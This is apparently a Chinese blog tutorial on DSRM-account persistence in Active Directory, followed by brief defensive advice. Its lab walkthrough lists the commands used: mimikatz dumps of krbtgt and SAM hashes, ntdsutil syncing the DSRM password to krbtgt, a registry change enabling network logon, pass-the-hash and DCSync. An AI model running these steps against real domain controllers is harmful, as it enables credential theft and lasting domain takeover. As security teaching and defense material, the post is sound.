一、DSRM简介 
  1.DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
  2.修改DSRM密码的方法
  在域控制器上打开命令行环境,输入“ntdsutil”,常用命令如下:
  set dsrm password :设置dsrm密码
  reset password on server null :在当前域控制器上恢复dsrm密码
  q :退出
  
 
  如果域控制器版本是windows2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域用户密码。
ntdsutil # 打开命令行
set dsrm password
sync from Domain Account domainusername # 使dsrm的密码和指定域用户的密码同步。
q:退出
 
二、.实验操作
(1)使用mimikatz查看krbtgt的NTLM Hash
在域控制器中打开mimikatz,看到krbtgt的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
privilege::debug
lsadump::lsa /patch /name:krbtgt
或者
mimikatz privilege::debug "lsadump::lsa /patch /name:krbtgt" > krbtgt.txt
 
(2)使用mimikatz读取SAM文件中本地管理员(DSRM)的NTLM Hash
在域控制器中打开mimikatz,获得DSRM账号的NTLM Hash为:579da618cfbfa85247acf1f800a280a4
privilege::debug
token::elevate
lsadump::sam
 
(3)将DSRM账号和krbtgt 的NTLM Hash同步
ntdsutil
set dsrm password
sync from Domain Account krbtgt
 
(4)查看dsrm的NTLM Hash是否同步成功
通过mimikatz,得到dsrm账号的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
mimikatz privilege::debug token::elevate lsadump::sam
 
(5)修改dsrm的登录方式
在注册表中新建HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior项。
  DSRM的三种登录方式:
  0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
  在windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制.
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,可用powershell进行更改。
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -PropertyType DWORD
查看注册表,发现已经DsrmAdminLogonBehavior键值已设置为2.
 
(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递,在域成员机器的管理员模式下打开mimikatz,输入如下命令:
privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:ffc79c6f14bb2c39e6ceab183cefc9c5

(7)还用mimikatz的dcsync 功能远程转储krbtgt的NTLM Hash
在哈希传递完成后,会弹出一个命令行窗口,在该命令行窗口中打开mimikatz。输入如下命令:
mimikatz "lsadump::dcsync /domain:payload.com /dc:win-dc /user:krbtgt"
需要注意路径:新开的窗口在system32下,需要切换到mimikatz所在目录操作。
 
三、DSRM更改的防御措施
  1.定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该键值为1,或者删除该键值。
  2.定期修改域中所有域控制器的DSRM账号。
  3.经常检查ID为4794的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

yukongDSRM账户安全防护的更多相关文章

  1. XSS 前端防火墙 —— 天衣无缝的防护

    上一篇讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面. 到目前为止,我们防护的深度已经差不多,但广度还有所欠缺. 例如,我们的属性钩子只考虑了 setAttribut ...

  2. 细数iOS上的那些安全防护

    细数iOS上的那些安全防护  龙磊,黑雪,蒸米 @阿里巴巴移动安全 0x00 序 随着苹果对iOS系统多年的研发,iOS上的安全防护机制也是越来越多,越来越复杂.这对于刚接触iOS安全的研究人员来说非 ...

  3. 关于web软件信息安全问题防护资料的整理 (一)

    之前意识到了安全问题的重要性,于是就在网上找了一下安全问题的解决办法(主要是web应用以及政府网站方面的),问了一下同学的公司是怎么保证安全的,跟我说用的是shiro安全机制这个貌似好多公司都在用,网 ...

  4. 利用其它带文件防护功能的软件防止*.asp;*.jpg写入文件。

    此木马是一个.NET程序制作,如果你的服务器支持.NET那就要注意了,,进入木马有个功能叫:IIS Spy,点击以后可以看到所有站点所在的物理路径.以前有很多人提出过,但一直没有人给解决的答案.. 防 ...

  5. Activity劫持实例与防护手段

    原文地址:Activity劫持实例与防护手段 作者:cjxqhhh (本文只用于学习技术,提高大家警觉,切勿用于非法用途!)   什么叫Activity劫持   这里举一个例子.用户打开安卓手机上的某 ...

  6. 用Qt写软件系列五:一个安全防护软件的制作(1)

    引言 又有许久没有更新了.Qt,我心爱的Qt,为了找工作不得不抛弃一段时间,业余时间来学一学了.本来计划要写一系列关于Qt组件美化的博文,但是写了几篇之后就没坚持下去了.技术上倒是问题不大,主要是时间 ...

  7. 关于web软件信息安全问题防护资料的整理(三)

    了解了web系统的安全威胁,那么我们应该怎样防范这些安全威胁呢? 1.时刻准备应战 Web应用系统所面临的威胁是非常严峻的.不管攻击的一方是采用单一形式的攻击,还是采用混合多种手段的混合攻击,作为防护 ...

  8. 关于web软件信息安全问题防护资料的整理(二)

    想要做好软件的安全防护,首先就得了解web系统的安全威胁,那么web系统都存在哪些威胁呢? 应用层攻击.网络层攻击和混合攻击. 传统被动.单点以及彼此孤立的防护手段已不能应对越来越严峻的安全威胁. 改 ...

  9. Nginx 支持 WAF 防护功能实战

    WAF(Web Application Firewall),中文名称叫做“Web应用防火墙 WAF的定义是这样的:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提 ...

随机推荐

  1. 比特币学习笔记(一)---在windows下编译搭建比特币环境

    最近打算研究下比特币源码,却发现这套源码正常情况下得在linux下编译运行,而我的机器是windows的. 怎么办呢? 起初打算用mingw和cygwin搞搞看,试了许久后发现行不通,必须转到linu ...

  2. SQL Server2012高可用之事物复制(发布订阅)测试

      (一)测试目的 目前公司使用的SQL SERVER 2012高可用环境为主备模式,其中主库可执行读写操作,备库既不可写也不可读,即采用的高可用技术为"数据库镜像".存在的问题为 ...

  3. 1.常用的cmd命令

    dir      =>  查看当前目录下的所有文件夹 cd..    =>  返回上一级目录 cd/     =>  返回根目录 cd 文件夹  =>  打开当前目录下指定的子 ...

  4. vue+bootstrap4+mybatis分页

    先看效果 Springboot+Mybatis+Pagehelper分页具体实现略. Controller返回数据 @GetMapping("/findByPage") publi ...

  5. Python线程-死锁

    死锁产生的4个必要条件:    1.互斥:一个资源同一时刻只允许一个线程进行访问.    2.占有未释放:一个线程占有资源,且没有释放资源.    3.不可抢占:一个已经占有资源的线程无法抢占到其他线 ...

  6. Elasticsearch系列---结构化搜索

    概要 结构化搜索针对日期.时间.数字等结构化数据的搜索,它们有自己的格式,我们可以对它们进行范围,比较大小等逻辑操作,这些逻辑操作得到的结果非黑即白,要么符合条件在结果集里,要么不符合条件在结果集之外 ...

  7. springboot中使用logback

    原文地址:https://blog.csdn.net/tianyaleixiaowu/article/details/73321610 Springboot默认集成的就是logback,logback ...

  8. 深入理解ClassLoader

    深入理解ClassLoader ClassLoader 作用 负责将 Class 加载到 JVM 中 ClassLoader主要对类的请求提供服务,当JVM需要某类时,它根据名称向ClassLoade ...

  9. ReactNative---卡顿问题及性能优化

    ReactNative性能优化 在reactnative 中如果要更改DOM中的数据显示,只有通过setState方法来实现:但是当setState时,要刷新整个DOM:在一般情况先还能保证体验,但是 ...

  10. Centos 7 最小化Gitlab部署操作

    Gitlab的介绍 gitlab是一个版本控制的集群软件,集成了git.postgresql.Ruby.nginx.redis等重要应用工具: gitlab分为ce和ee版本:CE是社区版,EE是企业 ...